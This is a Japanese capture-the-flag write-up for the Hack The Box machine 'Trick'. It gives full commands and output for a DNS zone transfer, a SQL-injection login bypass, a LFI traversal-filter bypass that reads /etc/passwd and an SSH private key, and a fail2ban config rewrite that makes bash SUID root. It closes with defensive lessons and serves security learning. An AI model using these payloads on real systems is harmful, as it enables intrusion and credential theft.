Hack The BoxのWriteup(Trick)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Trick — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/25(SMTP)/53(DNS)/80(HTTP)
→
DNS AXFR
preprod-payroll.trick.htb 発見
→
payrollログインSQLi
passwordフィールド ‘ or ‘1’=’1
→
vhostファジング
preprod-marketing.trick.htb 発見
→
LFI ….// バイパス
PHP-FPM as michael
→
michael SSH鍵奪取
user.txt ✓
→
fail2ban action.d悪用
sudo NOPASSWD restart
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,25,53,80 10.129.227.180
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ポート80は「Coming Soon」という何もないプレースホルダーページ。 ポート53でDNSサーバー(ISC BIND)が稼働している点が最大の手掛かり — 通常のHTBマシンでは珍しく、DNS自体が攻撃対象になる。
PHASE 2

DNSゾーン転送(AXFR) & payrollログインのSQLiバイパス

DNSゾーン転送(AXFR)で内部ドメインを収集

BASH
dig @10.129.227.180 axfr trick.htb +time=10
RESULT
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.		604800	IN	NS	trick.htb.
trick.htb.		604800	IN	A	127.0.0.1
trick.htb.		604800	IN	AAAA	::1
preprod-payroll.trick.htb. 604800 IN	CNAME	trick.htb.
;; XFR size: 6 records (messages 1, bytes 231)
🚨
AXFR(ゾーン転送)は本来、セカンダリDNSサーバーにしか許可してはいけない操作だが、 本機のBINDは誰にでもゾーン転送を許可している。これにより公開サイトには一切リンクされていない 内部限定の開発用サブドメイン preprod-payroll.trick.htb の存在が露見する。

/etc/hosts へ追記しpayrollサイトへアクセス

BASH
echo "10.129.227.180 trick.htb preprod-payroll.trick.htb" | sudo tee -a /etc/hosts
curl -s http://preprod-payroll.trick.htb/ | grep -i title
RESULT
<title>Admin | Employee's Payroll Management System</title>
ℹ️
社内向け給与管理システムのログインページ。ログインフォームの送信先は ajax.php?action=login(POSTでusername/password)。

ログインSQLi — 脆弱なのは password フィールド

BASH (通常ログイン失敗)
curl -s -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data-urlencode "username=admin" --data-urlencode "password=admin"
# → レスポンス: 3   (失敗コード)
BASH (username側へSQLi — 効果なし)
curl -s -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data-urlencode "username=admin' or '1'='1" --data-urlencode "password=x"
# → レスポンス: 3   (失敗のまま。username側は無害化されている)
BASH (password側へSQLi — 成功)
curl -s -i -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data-urlencode "username=hola" --data-urlencode "password=hola' or '1'='1"
RESULT
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=q70d1fk99gmpsp6psf79sn6tnl; path=/
...
1   ← ログイン成功コード(失敗時は3)
🚨
脆弱なのは username ではなく password フィールド。 バックエンドのクエリは概ね次のような形:
SELECT username FROM users WHERE username='hola' AND password='<password>'
送信したpasswordの値がそのままシングルクォートで閉じられずに連結されるため、 hola' or '1'='1 を入れると
... AND password='hola' or '1'='1' となり、'1'='1' が常に真になって 認証そのものをバイパスできる。

エラーベース抽出(extractvalue)は本アプリでは効かない点に注意

BASH
curl -s -X POST "http://preprod-payroll.trick.htb/ajax.php?action=login" \
  --data-urlencode "username=hola" \
  --data-urlencode "password=x' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -"
RESULT
<br />
<b>Notice</b>:  Trying to get property 'num_rows' of non-object in <b>/var/www/payroll/admin_class.php</b> on line <b>21</b><br />
3
⚠️
extractvalue()によるXPATH構文エラーは実際に発生している(クエリが壊れて mysqli_query()がfalseを返し、続く$result->num_rowsで PHPのNoticeが出ている)が、このアプリはmysqli_error()の生テキストを画面に 一切出力しないため、古典的な「エラーメッセージに抽出データを乗せて読む」手法は 本機では使えない。ログインバイパスの確認だけに使い、ファイル読み取りの 糸口は別の手段(Phase 3のvhostファジング)で探す必要がある。
PHASE 3

vhostファジングでmarketingサイト発見 & LFIフィルターのバイパス

「preprod-」接頭辞を軸にvhostをファジング

NOTE
「preprod」(pre-production = 本番前の検証環境)という接頭辞が見つかった以上、
同じ接頭辞を持つ別サービスが他にも存在する可能性が高い。Hostヘッダーを
変えながら応答サイズを比較する典型的なvhostファジングを行う
(本番環境では /usr/share/seclists 等の大規模ワードリストを使うのが定石。
ここでは代表的な部署名で簡易デモ)。
BASH
for w in dev test staging marketing sales hr finance intranet admin mail \
         support blog shop store api internal backup old beta demo; do
  size=$(curl -s -o /dev/null -w '%{size_download}' --max-time 5 \
    -H "Host: preprod-$w.trick.htb" http://10.129.227.180/)
  echo "preprod-$w.trick.htb -> size=$size"
done
RESULT
preprod-dev.trick.htb -> size=5480
preprod-test.trick.htb -> size=5480
preprod-staging.trick.htb -> size=5480
preprod-marketing.trick.htb -> size=9660   ← 他と違うサイズ!
preprod-sales.trick.htb -> size=5480
...(以下すべて size=5480 = デフォルトの"Coming Soon"ページ)
✅
preprod-marketing.trick.htb だけが応答サイズが異なる(9660 バイト) = デフォルトバーチャルホストにフォールバックしていない、実在する別サイト。 ページタイトルは Business Oriented CSS Template。

marketingサイトのLFIパラメータとフィルター回避

BASH (素のパストラバーサル — 無効化される)
curl -s --resolve preprod-marketing.trick.htb:80:10.129.227.180 \
  "http://preprod-marketing.trick.htb/index.php?page=../../../../../../etc/passwd" \
  | grep -c "root:"
# → 0 (フィルターで除去され失敗)
BASH (二重化バイパス — 成功)
curl -s --resolve preprod-marketing.trick.htb:80:10.129.227.180 \
  "http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././..././etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
🚨
index.php?page=はおそらくstr_replace('../', '', $page)のような フィルターで「../」という文字列だけを一度除去している。しかし一度しか置換しないため、 ..././(あるいは....//)のように一見無関係な文字列の中に 「../」を”仕込んで”おき、フィルター処理後に初めて「../」が出現する構造にすれば バイパスできる。例: ..././ → 中央の「../」を除去すると 残りが.​/+/ではなく実際には先頭と末尾が結合して../が 再構成される(1回のstr_replaceでは全ての「../」パターンを除去しきれない)。
PHASE 4

LFIでmichaelのSSH秘密鍵を直接読み取り & user.txt

LFIで /home/michael/.ssh/id_rsa を読む

BASH
curl -s --resolve preprod-marketing.trick.htb:80:10.129.227.180 \
  "http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././..././home/michael/.ssh/id_rsa" \
  > michael_id_rsa
chmod 600 michael_id_rsa
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
通常、Webサーバーの実行ユーザー(www-dataなど)は他ユーザーの.ssh配下を 読めないはずだが、本機ではこのvhostのPHPがphp7.3-fpm-michael.sockという michael専用のPHP-FPMプール経由で実行されている (複数ユーザーを使い分けるマルチテナント的な構成)。つまりLFIで読めるファイルの権限は michael本人の権限そのものであり、600権限の秘密鍵もそのまま読めてしまう。

SSH鍵でログイン & user.txt取得

BASH
ssh -i michael_id_rsa -o StrictHostKeyChecking=no michael@10.129.227.180 \
  "id; hostname; cat /home/michael/user.txt"
RESULT
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
trick
921195fb7dd2f20064988571e316f4b1
user.txt — michael
921195fb7dd2f20064988571e316f4b1
ℹ️
groupsにsecurityという見慣れないグループが含まれている 点に注目。これが次の権限昇格の起点になる。
PHASE 5

権限昇格の下調べ — sudo権限 & securityグループの正体

sudo -l で実行可能なroot権限コマンドを確認

BASH
michael@trick:~$ sudo -l
RESULT
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
ℹ️
パスワード不要でfail2banサービスをroot権限で再起動できる。これ単体では 直接何かを実行できる訳ではないが、fail2ban自体の設定ファイルを書き換えられれば 「再起動」というトリガーでroot権限の任意コマンドを実行できる可能性がある。

securityグループが所有するファイルを特定

BASH
michael@trick:~$ find / -group security 2>/dev/null
michael@trick:~$ ls -al /etc/fail2ban/
RESULT
/etc/fail2ban/action.d

drwxrwx---   2 root security  4096 Oct 27 14:54 action.d
-rw-r--r--   1 root root      22908 Oct 27 14:54 jail.conf
drwxr-xr-x   2 root root       4096 Oct 27 14:54 filter.d
...
🚨
/etc/fail2ban/action.dディレクトリの所有グループがsecurityで、 rwx(読み書き実行)権限がフルに付与されている。michaelはこのグループの メンバーなので、このディレクトリ配下のファイルを自由に削除・新規作成できる (所有者がrootでもディレクトリ自体にwx権限があれば、中のファイルを一旦削除して 新しいファイルを書き直すことが可能)。

fail2banのaction定義ファイルの構造を確認

BASH
michael@trick:~$ cat /etc/fail2ban/action.d/iptables-multiport.conf
RESULT
[Definition]

# Option:  actionstart
# Notes.:  command executed once at the start of Fail2Ban.
actionstart = <iptables> -N f2b-<name>
              ...

# Option:  actionban
# Notes.:  command executed when banning an IP.
actionban = ...
ℹ️
actionstartは「fail2banサービスが開始するたびに一度だけ実行されるコマンド」 と公式コメントに明記されている。つまり実際にIPがBANされるのを待つ必要すらなく、 サービスを再起動させるだけでこのコマンドが実行される。先ほどのsudo権限 (/etc/init.d/fail2ban restart)と完全に噛み合う。
PHASE 6

fail2ban action.d の書き換え → actionstart悪用 → root.txt

iptables-multiport.conf を悪意あるactionstartで差し替え

BASH
michael@trick:~$ cd /etc/fail2ban/action.d && \
  rm -f iptables-multiport.conf && \
  printf '[Definition]\nactionstart = chmod +s /bin/bash\nactionban = chmod +s /bin/bash\nactionunban = /bin/true\n' \
    > iptables-multiport.conf && \
  cat iptables-multiport.conf
RESULT
[Definition]
actionstart = chmod +s /bin/bash
actionban = chmod +s /bin/bash
actionunban = /bin/true
⚠️
所有者がrootのファイルを直接上書きすることはできない(michaelには書き込み権限がない)。 そこで先にrmで削除し(ディレクトリのwx権限で可能)、同名の新規ファイルを michael所有で作り直す、という「rm→write」の定石パターンを使う。

sudoでfail2banを再起動しSUID bashを得る

BASH
michael@trick:~$ sudo /etc/init.d/fail2ban restart
michael@trick:~$ ls -la /bin/bash
RESULT
Restarting fail2ban (via systemctl): fail2ban.service.
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash   ← s ビットが立ってSUID化
✅
サービス再起動の瞬間にactionstartがroot権限で実行され、 /bin/bashにSUIDビットが付与された。

SUID bashでroot.txt取得

BASH
michael@trick:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=1001(michael) gid=1001(michael) euid=0(root) egid=0(root) groups=0(root),1001(michael),1002(security)
b54a643987c42e11153f9dcf89da53f6
ℹ️
-pオプションを付けないと、bashが「SUIDで起動されたのに実uidが一般ユーザー」 という状態を検知して自動的にeuidを実uidまで下げてしまい、権限が上がらない。 bash -pは特権を保持したまま起動するモード。
root.txt — root (SUID bash経由)
b54a643987c42e11153f9dcf89da53f6
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — michael
921195fb7dd2f20064988571e316f4b1
root.txt — root
b54a643987c42e11153f9dcf89da53f6

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
DNSゾーン転送(AXFR)の無制限許可 ISC BIND (port 53) 内部ドメイン名の漏洩 High dig axfr trick.htb @targetで非公開のpreprod-payroll.trick.htbを発見
SQLインジェクション(認証バイパス) payroll管理システム ajax.php?action=login 認証バイパス Critical passwordフィールドが未エスケープ、' or '1'='1でクエリ論理を操作
vhost列挙によるステルスサイトの発見 nginx (preprod-* vhost群) 非公開サイトの発見 Medium Hostヘッダーを変えながら応答サイズを比較しpreprod-marketing.trick.htbを特定
LFI(パストラバーサルフィルターの不完全な実装) marketingサイト index.php?page= 任意ファイル読み取り(michael権限) Critical ../の単純除去フィルターを..././二重化で回避し、michael専用PHP-FPM経由で600権限のSSH鍵を直接読み取り
fail2ban action.d の不適切なグループ権限 + sudo NOPASSWD /etc/fail2ban/action.d (securityグループ書込可) 権限昇格(一般ユーザー → root) Critical actionstartに任意コマンドを仕込み、sudoで許可されたfail2ban再起動をトリガーにroot権限でSUID bashを作成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(SSH)/25(SMTP)/53(DNS)/80(HTTP, nginx)
2DNS調査 & SQLiAXFR + ログインSQLiバイパスpreprod-payroll.trick.htb vhost発見
3vhost発見 & LFIHostヘッダーファジング + フィルターバイパスpreprod-marketing.trick.htb + LFIプリミティブ
4鍵窃取LFIでmichael専用PHP-FPM経由の.ssh読み取りuser.txt(michael)
5権限調査sudo -l + find -group securityfail2ban NOPASSWD + action.d書込権限
6権限昇格actionstart改ざん + sudo restartroot.txt(SUID bash)

学んだ教訓 & 防御策

問題点防御策
DNSサーバーが誰にでもゾーン転送(AXFR)を許可している allow-transferを正規のセカンダリDNSサーバーのIPのみに限定する。不要なら完全に無効化する。
ログインフォームのSQL文字列が未エスケープ(パラメータ化されていない) プリペアドステートメント(パラメータバインド)を必須化し、生の文字列結合によるクエリ構築を禁止する。
非公開の開発/検証用サイトがDNS・vhost経由で容易に発見できる構成 検証環境は公開セグメントから完全に分離し、VPNやIP許可リストでアクセスを制限する。推測可能な命名規則(preprod-*)も避ける。
パストラバーサル対策が「../」の単純除去のみ(1回のstr_replace) 除去後の文字列を再帰的に再チェックするか、ホワイトリスト方式(許可されたファイル名のみ)でinclude対象を制限する。
異なるユーザーのPHP-FPMプールが同一Webサーバー上で動き、LFIが即座に他ユーザー権限のファイル読み取りに直結 Webアプリは最小権限の専用ユーザーで実行し、SSH秘密鍵などの機密ファイルは当該ユーザーのPHP-FPMプールから到達不能なパーミッション・ACLで保護する。
一般ユーザーが所属するグループに root所有ディレクトリへの書込権限(action.d)が付与され、かつ関連サービスのsudo実行も許可されている グループ権限とsudoルールの組み合わせによる権限昇格パスをレビューする。設定ファイルの書換がサービス再起動によるコード実行に直結しないよう、設定ディレクトリは対象サービスの実行ユーザーのみ書込可能にする。
HackTheBox: Trick | 完全攻略レポート